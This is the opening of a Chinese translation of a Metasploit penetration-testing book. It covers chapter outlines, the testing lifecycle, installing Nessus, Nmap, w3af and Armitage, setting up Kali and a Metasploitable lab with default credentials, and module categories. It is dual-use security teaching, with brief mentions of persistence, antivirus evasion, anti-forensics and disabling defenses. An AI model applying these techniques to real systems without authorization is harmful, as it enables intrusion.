Metasploit 完全指南(一)
原文:
annas-archive.org/md5/7D3B5EAD1083E0AF434036361959F60E译者:飞龙
前言
今天大多数企业都依赖于其 IT 基础设施,而这个 IT 网络中最微小的裂缝都可能导致整个业务崩溃。Metasploit 是一个渗透测试网络,可以通过使用 Metasploit 框架执行复杂的渗透测试来验证您的系统,从而保护您的基础设施。
这个学习路径介绍了 Metasploit 的基本功能和应用。在本书中,您将学习编程 Metasploit 模块的不同技术,以验证诸如数据库、指纹识别和扫描等服务。您将掌握后期利用,并编写快速脚本从被利用的系统中收集信息。随着学习的深入,您将深入探讨现实世界中进行渗透测试的挑战。借助这些案例研究,您将探索使用 Metasploit 进行客户端攻击以及基于 Metasploit 框架构建的各种脚本。
通过学习这个学习路径,您将掌握通过彻底测试来识别系统漏洞所需的技能。
这个学习路径包括以下 Packt 产品的内容:
-
《Metasploit 初学者指南》作者 Sagar Rahalkar
-
《精通 Metasploit-第三版》作者 Nipun Jaswal
这本书适合谁
这个学习路径非常适合安全专业人员、Web 程序员和渗透测试人员,他们想要掌握漏洞利用并充分利用 Metasploit 框架。需要具备 Ruby 编程和 Cortana 脚本语言的基础知识。
本书涵盖了什么内容
第一章《Metasploit 和支持工具简介》向读者介绍了漏洞评估和渗透测试等概念。读者将了解渗透测试框架的必要性,并对 Metasploit 框架进行简要介绍。此外,本章还解释了 Metasploit 框架如何可以有效地在渗透测试生命周期的各个阶段使用,以及一些扩展 Metasploit 框架功能的支持工具。
第二章《设置您的环境》主要指导如何为 Metasploit 框架设置环境。这包括设置 Kali Linux 虚拟机,独立在各种平台上安装 Metasploit 框架,如 Windows 和 Linux,并在虚拟环境中设置可利用或易受攻击的目标。
第三章《Metasploit 组件和环境配置》涵盖了 Metasploit 框架的结构和解剖,以及各种 Metasploit 组件的介绍。本章还涵盖了本地和全局变量配置,以及保持 Metasploit 框架更新的程序。
第四章《使用 Metasploit 进行信息收集》奠定了使用 Metasploit 框架进行信息收集和枚举的基础。它涵盖了针对各种协议(如 TCP、UDP、FTP、SMB、HTTP、SSH、DNS 和 RDP)的信息收集和枚举。它还涵盖了使用 Shodan 集成进行密码嗅探以及搜索易受攻击系统的高级搜索的 Metasploit 框架的扩展用法。
第五章《使用 Metasploit 进行漏洞搜索》从设置 Metasploit 数据库的说明开始。然后,它提供了使用 NMAP、Nessus 和 Metasploit 框架进行漏洞扫描和利用的见解,并最终介绍了 Metasploit 框架的后期利用能力。
第六章《使用 Metasploit 进行客户端攻击》介绍了与客户端攻击相关的关键术语。然后介绍了使用 msfvenom 实用程序生成自定义有效负载以及社会工程工具包。本章最后介绍了使用 browser_autopwn 辅助模块进行高级基于浏览器的攻击。
第七章《使用 Metasploit 进行 Web 应用程序扫描》涵盖了设置易受攻击的 Web 应用程序的过程。然后介绍了 Metasploit 框架中用于 Web 应用程序漏洞扫描的 wmap 模块,并总结了一些在 Web 应用程序安全评估中有用的其他 Metasploit 辅助模块。
第八章《防病毒和反取证》涵盖了各种避免有效负载被各种防病毒程序检测到的技术。这些技术包括使用编码器、二进制包和加密器。本章还介绍了用于测试有效负载的各种概念,最后总结了 Metasploit 框架的各种反取证功能。
第九章《使用 Armitage 进行网络攻击管理》介绍了一种可以与 Metasploit 框架有效配合使用的网络攻击管理工具“Armitage”,用于执行复杂的渗透测试任务。本章涵盖了 Armitage 工具的各个方面,包括打开控制台、执行扫描和枚举、查找合适的攻击目标以及利用目标。
第十章《扩展 Metasploit 和利用程序开发》介绍了各种利用程序开发概念,以及如何通过添加外部利用程序来扩展 Metasploit 框架。本章最后简要介绍了可以用于自定义利用程序开发的 Metasploit 利用程序模板和混合物。
第十一章《使用 Metasploit 进行渗透测试》带领我们了解使用 Metasploit 进行渗透测试的绝对基础知识。它帮助建立了一种测试方法并设置了测试环境。此外,它系统地介绍了渗透测试的各个阶段。它进一步讨论了使用 Metasploit 相对于传统和手动测试的优势。
第十二章《重新定义 Metasploit》涵盖了构建模块所需的 Ruby 编程基础知识的绝对基础。本章进一步介绍了如何挖掘现有的 Metasploit 模块并编写我们自定义的扫描器、认证测试器、后渗透和凭证收集器模块;最后,它通过对在 RailGun 中开发自定义模块的信息进行阐述。
第十三章《利用制定过程》讨论了通过覆盖利用编写的基本要点来构建利用程序。本章还介绍了模糊测试,并对调试器进行了阐述。然后,它着重于通过分析调试器下应用程序的行为来收集利用所需的要点。最后,它展示了基于收集的信息在 Metasploit 中编写利用程序的过程,并讨论了对保护机制(如 SEH 和 DEP)的绕过。
第十四章《移植利用程序》帮助将公开可用的利用程序转换为 Metasploit 框架。本章重点关注从 Perl/Python、PHP 和基于服务器的利用程序中收集必要的信息,并利用 Metasploit 库和功能将其解释为与 Metasploit 兼容的模块。
第十五章,使用 Metasploit 测试服务,讨论了在各种服务上执行渗透测试。本章涵盖了 Metasploit 中一些关键模块,这些模块有助于测试 SCADA、数据库和 VOIP 服务。
第十六章,虚拟测试场地和分期,是关于使用 Metasploit 进行完整渗透测试的简要讨论。本章重点介绍了可以与 Metasploit 一起使用的其他工具,以进行全面的渗透测试。本章继续讨论了流行工具,如 Nmap、Nessus 和 OpenVAS,并解释了如何在 Metasploit 内部使用这些工具。最后讨论了如何生成手动和自动化报告。
第十七章,客户端利用,将我们的重点转移到客户端利用。本章重点介绍了将传统的客户端利用修改为更复杂和确定的方法。本章从基于浏览器和基于文件格式的利用开始,并讨论了如何 compromise web server 的用户。还解释了如何使用 Metasploit 修改浏览器利用成为致命武器,以及使用 DNS 毒化等向量。最后,本章重点讨论了开发利用 Kali NetHunter 利用 Android 的策略。
第十八章,Metasploit 扩展,讨论了 Metasploit 的基本和高级后渗透特性。本章讨论了 Meterpreter 有效负载上可用的必要后渗透特性,并继续讨论了高级和强硬的后渗透模块。本章不仅有助于快速了解加快渗透测试过程,还揭示了许多 Metasploit 功能,可以节省相当多的时间,同时编写利用。最后,本章还讨论了自动化后渗透过程。
第十九章,使用 Metasploit 进行逃避,讨论了 Metasploit 如何使用自定义代码逃避高级保护机制,如使用 Metasploit 有效负载的防病毒解决方案。还概述了如何绕过 Snort 等 IDPS 解决方案的签名,以及如何规避基于 Windows 的目标上的阻止端口。
第二十章,秘密特工的 Metasploit,讨论了执法机构如何利用 Metasploit 进行操作。本章讨论了代理会话、持久性的独特 APT 方法、从目标系统中清除文件、用于逃避的代码洞技术、使用毒液框架生成不可检测的有效负载,以及如何使用反取证模块在目标系统上不留下痕迹。
第二十一章,使用 Armitage 进行可视化,专门介绍了与 Metasploit 相关的最受欢迎的 GUI,即 Armitage。本章解释了如何使用 Armitage 扫描目标,然后利用目标。本章还教授了使用 Armitage 进行红队基础知识。此外,还讨论了 Cortana,它用于在 Armitage 中编写自动攻击,以开发虚拟机器人来帮助渗透测试。最后,本章讨论了如何添加自定义功能,并在 Armitage 中构建自定义界面和菜单。
第二十二章,技巧和窍门,教授了各种技能,可以加快测试速度,并帮助您更有效地使用 Metasploit。
要充分利用本书
为了运行本书中的练习,建议使用以下软件:
-
Metasploit 框架
-
PostgreSQL
-
VMWare 或 Virtual Box
-
Kali Linux
-
Nessus
-
7-Zip
-
NMAP
-
W3af
-
Armitage
-
Windows XP
-
Adobe Acrobat Reader
下载示例代码文件
您可以从www.packt.com的帐户中下载本书的示例代码文件。如果您在其他地方购买了本书,您可以访问www.packt.com/support注册,以便文件直接通过电子邮件发送给您。
您可以按照以下步骤下载代码文件:
-
登录或注册www.packt.com。
-
选择“支持”选项卡。
-
点击“代码下载和勘误”。
-
在“搜索”框中输入书名,然后按照屏幕上的说明操作。
下载文件后,请确保使用最新版本的解压缩或提取文件夹:
-
WinRAR/7-Zip 适用于 Windows
-
Zipeg/iZip/UnRarX 适用于 Mac
-
7-Zip/PeaZip 适用于 Linux
该书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/The-Complete-Metasploit-Guide。如果代码有更新,将在现有的 GitHub 存储库上进行更新。
我们还有其他代码包,来自我们丰富的图书和视频目录,可在github.com/PacktPublishing/找到。来看看吧!
使用的约定
本书中使用了许多文本约定。
CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。例如:“我们可以看到我们在SESSION 1上使用了post/windows/manage/inject_host模块,并将条目插入到目标主机文件中。”
代码块设置如下:
irb(main):001:0> 2
=> 2
任何命令行输入或输出都以以下形式书写:
msf > openvas_config_list
[+] OpenVAS list of configs
粗体:表示新术语、重要词或屏幕上看到的词。例如,菜单或对话框中的单词会以这种形式出现在文本中。例如:“点击弹出框中的连接按钮以建立连接。”
警告或重要提示会以这种形式出现。
提示和技巧会出现在这样的形式。
第一章:Metasploit 和支持工具的介绍
在我们深入了解 Metasploit 框架的各个方面之前,让我们首先打下一些绝对基础的基础。在本章中,我们将从概念上了解渗透测试的全部内容,以及 Metasploit 框架的确切位置。我们还将浏览一些增强 Metasploit 框架功能的附加工具。在本章中,我们将涵盖以下主题:
-
渗透测试的重要性
-
漏洞评估和渗透测试的区别
-
渗透测试框架的需求
-
Metasploit 的简要介绍
-
了解 Metasploit 在渗透测试的所有阶段中的适用性
-
介绍帮助扩展 Metasploit 功能的支持工具
渗透测试的重要性
十多年来,技术的使用呈指数级增长。几乎所有的企业部分或完全依赖于技术的使用。从比特币到云到物联网,每天都会出现新的技术。虽然这些技术完全改变了我们的做事方式,但它们也带来了威胁。攻击者发现了新的创新方式来操纵这些技术以获取乐趣和利润!这是全球数千家组织和企业关注的问题。全球组织深切关注保护其数据的安全。保护数据当然很重要,然而,测试是否已经采取了足够的保护机制同样重要。保护机制可能会失败,因此在有人真正利用它们之前对它们进行测试是一项具有挑战性的任务。话虽如此,漏洞评估和渗透测试已经变得非常重要,并且现在已经在所有合规程序中被包括进去。通过正确进行漏洞评估和渗透测试,组织可以确保已经建立了正确的安全控制,并且它们正在按预期运行!
漏洞评估与渗透测试
漏洞评估和渗透测试是两个经常可以互换使用的常见词汇。然而,了解两者之间的区别是很重要的。为了了解确切的区别,让我们考虑一个现实世界的场景:
一个小偷打算抢劫一所房子。为了执行他的抢劫计划,他决定侦察他的目标。他随意访问了他打算抢劫的房子,并试图评估那里有哪些安全措施。他注意到房子的后面有一个经常开着的窗户,很容易破门而入。在我们的术语中,小偷刚刚执行了漏洞评估。现在,几天后,小偷实际上再次去了那所房子,并通过他之前在侦察阶段发现的后面的窗户进入了房子。在这种情况下,小偷对他的目标房子进行了实际的渗透,目的是抢劫。
这正是我们在计算系统和网络的情况下可以相关的。人们可以首先对目标进行漏洞评估,以评估系统的整体弱点,然后再进行计划的渗透测试,以实际检查目标是否容易受攻击。如果不进行漏洞评估,就不可能计划和执行实际的渗透测试。
尽管大多数漏洞评估在性质上是非侵入性的,但如果渗透测试没有受到控制地进行,就可能对目标造成损害。根据特定的合规需求,一些组织选择仅进行漏洞评估,而其他组织则继续进行渗透测试。
渗透测试框架的需求
渗透测试不仅仅是针对目标运行一组自动化工具。这是一个涉及多个阶段的完整过程,每个阶段对项目的成功同样重要。现在,为了执行渗透测试的所有阶段中的所有任务,我们需要使用各种不同的工具,可能需要手动执行一些任务。然后,在最后,我们需要将来自许多不同工具的结果结合在一起,以生成一个有意义的报告。这肯定是一项艰巨的任务。如果一个单一的工具可以帮助我们执行渗透测试所需的所有任务,那将会非常简单和节省时间。Metasploit 这样的框架满足了这个需求。
介绍 Metasploit
Metasploit 的诞生可以追溯到 14 年前,2003 年,H.D Moore 用 Perl 编写了一个便携式网络工具。到 2007 年,它被重写为 Ruby。当 Rapid7 在 2009 年收购该项目时,Metasploit 项目获得了重大商业推动。Metasploit 本质上是一个强大而多功能的渗透测试框架。它可以在整个渗透测试生命周期中执行所有任务。使用 Metasploit,你真的不需要重新发明轮子!你只需要专注于核心目标;支持性的行动将通过框架的各个组件和模块执行。此外,由于它是一个完整的框架,而不仅仅是一个应用程序,它可以根据我们的需求进行定制和扩展。
毫无疑问,Metasploit 是一个非常强大的渗透测试工具。然而,它绝对不是一个可以帮助你入侵任何给定目标系统的魔术棒。了解 Metasploit 的能力是很重要的,这样在渗透测试期间可以最大限度地利用它。
虽然最初的 Metasploit 项目是开源的,但在被 Rapid7 收购后,商业级别的 Metasploit 版本也出现了。在本书的范围内,我们将使用Metasploit 框架版本。
你知道吗?Metasploit 框架有 3000 多个不同的模块可用于利用各种应用程序、产品和平台,这个数字还在不断增长。
何时使用 Metasploit?
有成吨的工具可用于执行与渗透测试相关的各种任务。然而,大多数工具只能执行一个独特的目的。与这些工具不同,Metasploit 是一个可以在整个渗透测试生命周期中执行多个任务的工具。在我们检查 Metasploit 在渗透测试中的确切用途之前,让我们简要概述一下渗透测试的各个阶段。以下图表显示了渗透测试生命周期的典型阶段:
渗透测试生命周期的阶段
- 信息收集:尽管信息收集阶段可能看起来非常琐碎,但它是渗透测试项目成功的最重要阶段之一。你对目标了解得越多,你找到合适的漏洞和利用的机会就越大。因此,值得投入大量时间和精力收集有关范围内目标的尽可能多的信息。信息收集可以分为两种类型,如下所示:
-
被动信息收集:被动信息收集涉及通过公开可用的来源(如社交媒体和搜索引擎)收集有关目标的信息。不与目标直接接触。
-
主动信息收集:主动信息收集涉及使用专门的工具,如端口扫描器,以获取有关目标系统的信息。它涉及直接与目标系统进行联系,因此可能会被目标网络中的防火墙、IDS 或 IPS 注意到。
-
枚举:使用主动和/或被动信息收集技术,可以初步了解目标系统/网络。进一步进行枚举,可以了解目标系统上运行的确切服务(包括类型和版本)以及其他信息,如用户、共享和 DNS 条目。枚举为我们试图渗透的目标准备了更清晰的蓝图。
-
获取访问:基于我们从信息收集和枚举阶段获得的目标蓝图,现在是时候利用目标系统中的漏洞并获取访问权限了。获取对该目标系统的访问权限涉及利用早期阶段发现的一个或多个漏洞,并可能绕过目标系统中部署的安全控制(如防病毒软件、防火墙、IDS 和 IPS)。
-
权限提升:经常情况下,在目标上利用漏洞只能获得对系统的有限访问。然而,我们希望完全获得对目标的根/管理员级别访问,以便充分利用我们的练习。可以使用各种技术来提升现有用户的权限。一旦成功,我们就可以完全控制具有最高权限的系统,并可能深入渗透到目标中。
-
保持访问:到目前为止,我们已经付出了很多努力,以获得对目标系统的根/管理员级别访问。现在,如果目标系统的管理员重新启动系统会怎样?我们所有的努力将会白费。为了避免这种情况,我们需要为持久访问目标系统做好准备,以便目标系统的任何重新启动都不会影响我们的访问。
-
清除痕迹:虽然我们已经努力利用漏洞、提升权限,并使我们的访问持久化,但我们的活动很可能已经触发了目标系统的安全系统的警报。事件响应团队可能已经在行动,追踪可能导致我们的所有证据。根据约定的渗透测试合同条款,我们需要清除在妥协期间上传到目标上的所有工具、漏洞和后门。
有趣的是,Metasploit 实际上在所有先前列出的渗透测试阶段中帮助我们。
以下表格列出了各种 Metasploit 组件和模块,可在渗透测试的所有阶段使用:
| 序号 | 渗透测试阶段 | Metasploit 的使用 |
|---|---|---|
| 1 | 信息收集 | 辅助模块:portscan/syn, portscan/tcp, smb_version, db_nmap, scanner/ftp/ftp_version, 和 gather/shodan_search |
| 2 | 枚举 | smb/smb_enumshares, smb/smb_enumusers, 和 smb/smb_login |
| 3 | 获取访问 | 所有 Metasploit 漏洞利用和有效载荷 |
| 4 | 权限提升 | meterpreter-use priv 和 meterpreter-getsystem |
| 5 | 保持访问 | meterpreter - run persistence |
| 6 | 清除痕迹 | Metasploit 反取证项目 |
我们将在书中逐步涵盖所有先前的组件和模块。
使用补充工具使 Metasploit 更加有效和强大
到目前为止,我们已经看到 Metasploit 确实是一个强大的渗透测试框架。然而,如果与其他一些工具集成,它可以变得更加有用。本节介绍了一些补充 Metasploit 功能的工具。
Nessus
Nessus 是 Tenable Network Security 的产品,是最受欢迎的漏洞评估工具之一。它属于漏洞扫描仪类别。它非常容易使用,并且可以快速发现目标系统中的基础架构级漏洞。一旦 Nessus 告诉我们目标系统上存在哪些漏洞,我们就可以将这些漏洞提供给 Metasploit,以查看它们是否可以被真正利用。
它的官方网站是www.tenable.com/。以下图片显示了 Nessus 首页:
Nessus 用于启动漏洞评估的 Web 界面
以下是 Nessus 的不同基于操作系统的安装步骤:
- 在 Windows 上安装:
-
转到 URL
www.tenable.com/products/nessus/select-your-operating-system. -
在 Microsoft Windows 类别下,选择适当的版本(32 位/64 位)。
-
下载并安装
msi文件。 -
打开浏览器,转到 URL
localhost:8834/. -
设置新的用户名和密码以访问 Nessus 控制台。
-
要注册,请单击注册此扫描仪选项。
-
访问
www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code,选择 Nessus Home 并输入您的注册详细信息。 -
输入您在电子邮件中收到的注册码。
- 在 Linux 上安装(基于 Debian):
-
转到 URL
www.tenable.com/products/nessus/select-your-operating-system. -
在 Linux 类别下,选择适当的版本(32 位/AMD64)。
-
下载文件。
-
打开终端并浏览到您下载安装程序(
.deb)文件的文件夹。 -
键入命令
dpkg -i <name_of_installer>.deb。 -
打开浏览器,转到 URL
localhost:8834/. -
设置新的用户名和密码以访问 Nessus 控制台。
-
要注册,请单击注册此扫描仪选项。
-
访问
www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code,选择 Nessus Home 并输入您的注册详细信息。 -
输入您在电子邮件中收到的注册码。
NMAP
NMAP(Network Mapper 的缩写)是用于网络信息收集的事实标准工具。它属于信息收集和枚举类别。乍一看,它可能看起来很小,很简单。但是,它是如此全面,以至于可以专门撰写一本完整的书来介绍如何根据我们的要求调整和配置 NMAP。NMAP 可以快速概述目标网络中所有开放的端口和正在运行的服务。这些信息可以提供给 Metasploit 进行进一步操作。虽然本书不涵盖 NMAP 的详细讨论,但我们将在后面的章节中涵盖 NMAP 的所有重要方面。
它的官方网站是nmap.org/.以下屏幕截图显示了 NMAP 扫描的示例:
使用命令行界面进行 NMAP 扫描的示例
尽管访问 NMAP 的最常见方式是通过命令行,但 NMAP 也有一个名为 Zenmap 的图形界面,它是 NMAP 引擎上的简化界面,如下所示:
NMAP 的 Zenmap 图形用户界面(GUI)
以下是 NMAP 的不同基于操作系统的安装步骤:
- 在 Windows 上安装:
-
在 Microsoft Windows Binaries 部分,选择最新版本(.exe)文件。
-
安装下载的文件以及 WinPCAP(如果尚未安装)。
WinPCAP 是一个程序,运行诸如 NMAP、Nessus 和 Wireshark 之类的工具时需要它。它包含一组库,允许其他应用程序捕获和传输网络数据包。
- 在 Linux 上(基于 Debian)的安装: NMAP 默认安装在 Kali Linux 上;但是,如果没有安装,可以使用以下命令进行安装:
root@kali:~#apt-get install nmap
w3af
w3af 是一个开源的 Web 应用程序安全扫描工具。它属于 Web 应用程序安全扫描器类别。它可以快速扫描目标 Web 应用程序,查找常见的 Web 应用程序漏洞,包括 OWASP 前 10 名。w3af 还可以有效地与 Metasploit 集成,使其更加强大。
它的官方网站是w3af.org/. 我们可以在以下图片中看到 w3af 控制台用于扫描 Web 应用程序漏洞:
w3af 控制台用于扫描 Web 应用程序漏洞
以下是 w3af 的基于各种操作系统的安装步骤:
-
在 Windows 上安装: w3af 不适用于 Windows 平台
-
在 Linux 上(基于 Debian)的安装: w3af 默认安装在 Kali Linux 上;但是,如果没有安装,可以使用以下命令进行安装:
root@kali:~# apt-get install w3af
Armitage
Armitage 是一个利用自动化框架,它在后台使用 Metasploit。它属于利用自动化类别。它提供了一个易于使用的用户界面,用于在网络中查找主机、扫描、枚举、查找漏洞,并利用 Metasploit 的漏洞和有效载荷对它们进行利用。我们将在本书的后面详细介绍 Armitage。
它的官方网站是www.fastandeasyhacking.com/index.html. 我们可以在以下截图中看到 Armitage 控制台用于利用自动化:
Armitage 控制台用于利用自动化。
以下是 Armitage 的基于各种操作系统的安装步骤:
-
在 Windows 上安装: Armitage 不支持 Windows
-
在 Linux 上(基于 Debian)的安装: Armitage 默认安装在 Kali Linux 上;但是,如果没有安装,可以使用以下命令进行安装:
root@kali:~# apt-get install armitage
要设置和运行 Armitage,需要 PostgreSQL、Metasploit 和 Java。但是,这些已经安装在 Kali Linux 系统上。
总结
现在我们已经对 Metasploit 的概述有了一个高层次的了解,它在渗透测试中的适用性以及支持工具,我们将在下一章中浏览 Metasploit 的安装和环境设置。
练习
您可以尝试以下练习:
-
访问 Metasploit 的官方网站,尝试了解各个版本的 Metasploit 之间的区别
-
尝试探索更多关于 Nessus 和 NMAP 如何在渗透测试中帮助我们的信息。
第二章:设置您的环境
在前一章中,您简要了解了漏洞评估、渗透测试和 Metasploit Framework。现在,让我们通过学习如何在各种平台上安装和设置框架以及设置专用虚拟测试环境来实际开始使用 Metasploit。在本章中,您将学习以下主题:
-
使用 Kali Linux 虚拟机立即开始使用 Metasploit 和支持工具
-
在 Windows 和 Linux 平台上安装 Metasploit Framework
-
在虚拟环境中设置可利用的目标
使用 Kali Linux 虚拟机-最简单的方法
Metasploit 是由 Rapid7 分发的独立应用程序。它可以在 Windows 和 Linux 等各种操作系统平台上单独下载和安装。但是,有时 Metasploit 还需要许多支持工具和实用程序。在任何给定的平台上单独安装 Metasploit Framework 和所有支持工具可能会有点繁琐。为了简化设置 Metasploit Framework 以及所需工具的过程,建议获取一个现成的 Kali Linux 虚拟机。
使用此虚拟机将带来以下好处:
-
即插即用的 Kali Linux--无需安装
-
Metasploit 预先安装在 Kali VM 中
-
所有支持的工具(本书中讨论的)也预先安装在 Kali VM 中
-
节省设置 Metasploit 和其他支持工具的时间和精力
要使用 Kali Linux 虚拟机,您首先需要在系统上安装 VirtualBox、VMPlayer 或 VMware Workstation。
以下是使用 Kali Linux VM 入门的步骤:
-
从
www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/下载 Kali Linux 虚拟机。 -
根据基本操作系统的类型选择并下载 Kali Linux 64 位 VM 或 Kali Linux 32 位 VM PAE,如下所示:
-
一旦虚拟机下载完成,从 Zip 文件中提取到您选择的任何位置。
-
双击 VMware 虚拟机配置文件以打开虚拟机,然后播放虚拟机。以下凭据可用于登录虚拟机:
Username - root
Password - toor
- 要启动 Metasploit Framework,请打开终端并输入
msfconsole,如下所示:
在 Windows 上安装 Metasploit
Metasploit Framework 可以轻松安装在基于 Windows 的操作系统上。但是,Windows 通常不是部署 Metasploit Framework 的首选平台,原因是许多支持工具和实用程序在 Windows 平台上不可用。因此,强烈建议在 Linux 平台上安装 Metasploit Framework。
在 Windows 上安装 Metasploit Framework 的步骤如下:
-
从
github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version下载最新的 Metasploit Windows 安装程序。 -
双击并打开下载的安装程序。
-
单击“下一步”,如下图所示:
- 接受许可协议:
- 选择您希望安装 Metasploit Framework 的位置:
- 单击“安装”以继续:
Metasploit 安装程序通过将所需文件复制到目标文件夹来进行进展:
- 单击“完成”以完成 Metasploit Framework 的安装:
现在安装完成,让我们尝试通过命令行界面访问 Metasploit Framework:
-
按下Windows 键 + R。
-
输入
cmd并按Enter。 -
使用
cd,导航到您安装 Metasploit Framework 的文件夹/路径。 -
输入
msfconsole并按Enter;您应该能够看到以下内容:
在 Linux 上安装 Metasploit
在本书的范围内,我们将在 Ubuntu(基于 Debian)系统上安装 Metasploit Framework。在开始安装之前,我们首先需要下载最新的安装程序。可以使用wget命令完成如下:
- 打开一个终端窗口,输入:
wgethttp://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
- 一旦安装程序已下载,我们需要更改安装程序的模式为可执行。可以按照以下步骤完成:
-
对于 64 位系统:
chmod +x /path/to/metasploit-latest-linux-x64-installer.run -
对于 32 位系统:
chmod +x /path/to/metasploit-latest-linux-installer.run
- 现在我们准备使用以下命令启动安装程序:
-
对于 64 位系统:
sudo /path/to/metasploit-latest-linux-x64-installer.run -
对于 32 位系统:
sudo /path/to/metasploit-latest-linux-installer.run
- 我们可以看到以下安装程序:
- 接受许可协议:
- 选择安装目录(建议将其保持默认安装的不变):
- 选择“是”将 Metasploit Framework 安装为服务:
- 确保禁用系统上可能已经运行的任何防病毒软件或防火墙。诸如防病毒软件和防火墙之类的安全产品可能会阻止许多 Metasploit 模块和漏洞利用正确运行:
- 输入 Metasploit 服务将运行的端口号。(建议将其保持默认安装的不变):
- 输入 Metasploit Framework 将运行的主机名。(建议将其保持默认安装的不变):
- 单击“前进”以继续安装:
- 现在 Metasploit Framework 安装已完成:
让我们尝试通过命令行界面访问它:
- 打开终端窗口,输入命令
msfconsole并按Enter。您应该在屏幕上看到以下内容:
在虚拟环境中设置可利用的目标
Metasploit 是一个强大的渗透测试框架,如果不以受控的方式使用,可能会对目标系统造成潜在的损害。为了学习和练习 Metasploit,我们当然不能在任何未经授权的生产系统上使用它。但是,我们可以在自己的虚拟环境中练习我们新学到的 Metasploit 技能,这个环境是故意制造成易受攻击的。这可以通过一个名为Metasploitable的基于 Linux 的系统实现,该系统具有从操作系统级别到应用程序级别的许多不同的琐碎漏洞。Metasploitable 是一个可直接使用的虚拟机,可以从以下位置下载:sourceforge.net/projects/metasploitable/files/Metasploitable2/
一旦下载完成,为了运行虚拟机,您需要在系统上安装 VMPlayer 或 VMware Workstation。以下是安装步骤以及屏幕截图:
如果尚未安装,可以从www.vmware.com/go/downloadplayer获取 VMPlayer
- 为了运行 Metasploitable 虚拟机,首先让我们将其从 zip 文件中提取到我们选择的任何位置:
- 双击 Metasploitable VMware 虚拟机配置文件以打开虚拟机。这将需要事先安装 VMPlayer 或 VMware Workstation:
- 单击绿色的“播放”图标启动虚拟机:
- 虚拟机启动后,您可以使用以下凭据登录:
User name - msfadmin
Password - msfadmin
我们可以稍后使用这个虚拟机来练习我们在本书中学到的技能。
摘要
在本章中,我们学习了如何通过在各种平台上安装 Metasploit 框架来快速入门。安装完成后,我们将继续下一章,了解 Metasploit 的结构和组件级别的详细信息。
练习
您可以尝试以下练习:
-
下载 Kali Linux 虚拟机,并在 VMPlayer 或 VMware Workstation 中运行
-
尝试在 Ubuntu 上安装 Metasploit 框架
第三章:Metasploit 组件和环境配置
对于我们用来执行特定任务的任何工具,了解该工具的内部始终是有帮助的。对工具的详细了解使我们能够恰当地使用它,使其充分发挥其能力。现在您已经学会了 Metasploit Framework 及其安装的一些绝对基础知识,在本章中,您将学习 Metasploit Framework 的结构以及 Metasploit 生态系统的各种组件。本章将涵盖以下主题:
-
Metasploit 的解剖和结构
-
Metasploit 组件--辅助模块、利用、编码器、有效载荷和后期
-
开始使用 msfconsole 和常用命令
-
配置本地和全局变量
-
更新框架
Metasploit 的解剖和结构
学习 Metasploit 结构的最佳方法是浏览其目录。在使用 Kali Linux 时,Metasploit Framework 通常位于路径/usr/share/metasploit-framework,如下面的屏幕截图所示:
在较高层次上,Metasploit Framework 的结构如下所示:
Metasploit Framework 具有非常清晰和明确定义的结构,框架内的工具/实用程序根据它们在渗透测试生命周期的各个阶段中的相关性进行组织。随着我们在本书中的进展,我们将使用来自每个类别的工具/实用程序。
在下一节中,我们将简要概述所有 Metasploit 组件。
Metasploit 组件
Metasploit Framework 具有基于其在渗透测试阶段中的角色的各种组件类别。以下各节将详细了解每个组件类别的责任。
辅助模块
到目前为止,您已经了解到 Metasploit 是一个完整的渗透测试框架,而不仅仅是一个工具。当我们称其为框架时,这意味着它包含许多有用的工具和实用程序。Metasploit Framework 中的辅助模块只是用于执行特定任务(在我们的渗透测试生命周期范围内)的小代码片段。例如,您可能需要执行一个简单的任务,验证特定服务器的证书是否已过期,或者您可能想要扫描您的子网并检查是否有任何 FTP 服务器允许匿名访问。使用 Metasploit Framework 中存在的辅助模块可以非常轻松地完成这些任务。
在 Metasploit Framework 中有 1000 多个辅助模块分布在 18 个类别中。
以下表格显示了 Metasploit Framework 中存在的各种辅助模块的各个类别:
gather | pdf | vsploit |
|---|---|---|
bnat | sqli | client |
crawler | fuzzers | server |
spoof | parser | voip |
sniffer | analyze | dos |
docx | admin | scanner |
不要被 Metasploit Framework 中存在的辅助模块数量所压倒。您可能不需要单独了解每个模块。您只需要在所需的上下文中搜索正确的模块并相应地使用它。现在我们将看到如何使用辅助模块。
在本书的过程中,我们将根据需要使用许多不同的辅助模块;但是,让我们从一个简单的例子开始:
-
打开终端窗口,并使用命令
msfconsole启动 Metasploit。 -
选择
auxiliary模块portscan/tcp来对目标系统执行端口扫描。 -
使用
show命令,列出运行此辅助模块所需配置的所有参数。 -
使用
set RHOSTS命令,设置我们目标系统的 IP 地址。 -
使用
set PORTS命令,选择要在目标系统上扫描的端口范围。 -
使用
run命令,执行先前配置的参数的辅助模块。
您可以在以下截图中看到所有先前提到的命令的使用:
利用
利用是 Metasploit 框架中最重要的部分。利用是实际的代码片段,将为您提供对目标系统所需的访问权限。根据支持利用的平台,有 2500 多个利用分布在 20 多个类别中。现在,您可能会想到在这么多可用的利用中,需要使用哪一个。只有在对目标进行广泛的枚举和漏洞评估之后,才能决定使用特定的利用对目标进行攻击(参见第一章中的渗透测试生命周期部分,Metasploit 和支持工具简介)。对目标进行适当的枚举和漏洞评估将为我们提供以下信息,基于这些信息,我们可以选择正确的利用:
-
目标系统的操作系统(包括确切的版本和架构)
-
目标系统上的开放端口(TCP 和 UDP)
-
目标系统上运行的服务及其版本
-
特定服务存在漏洞的概率
以下表格显示了 Metasploit 框架中提供的各种利用类别:
| Linux | Windows | Unix | OS X | Apple iOS |
|---|---|---|---|---|
irix | mainframe | freebsd | solaris | bsdi |
firefox | netware | aix | android | dialup |
hpux | jre7u17 | wifi | php | mssql |
在接下来的章节中,我们将看到如何针对易受攻击的目标使用利用。
编码器
在任何给定的现实世界渗透测试场景中,我们尝试攻击目标系统很可能会被目标系统上存在的某种安全软件检测到/注意到。这可能会危及我们所有的努力来获取对远程系统的访问权限。这正是编码器发挥作用的时候。编码器的工作是以这样的方式混淆我们的利用和有效载荷,以至于它在目标系统上的任何安全系统都不会被注意到。
以下表格显示了 Metasploit 框架中提供的各种编码器类别:
generic | mipsbe | ppc |
|---|---|---|
x64 | php | mipsle |
cmd | sparc | x86 |
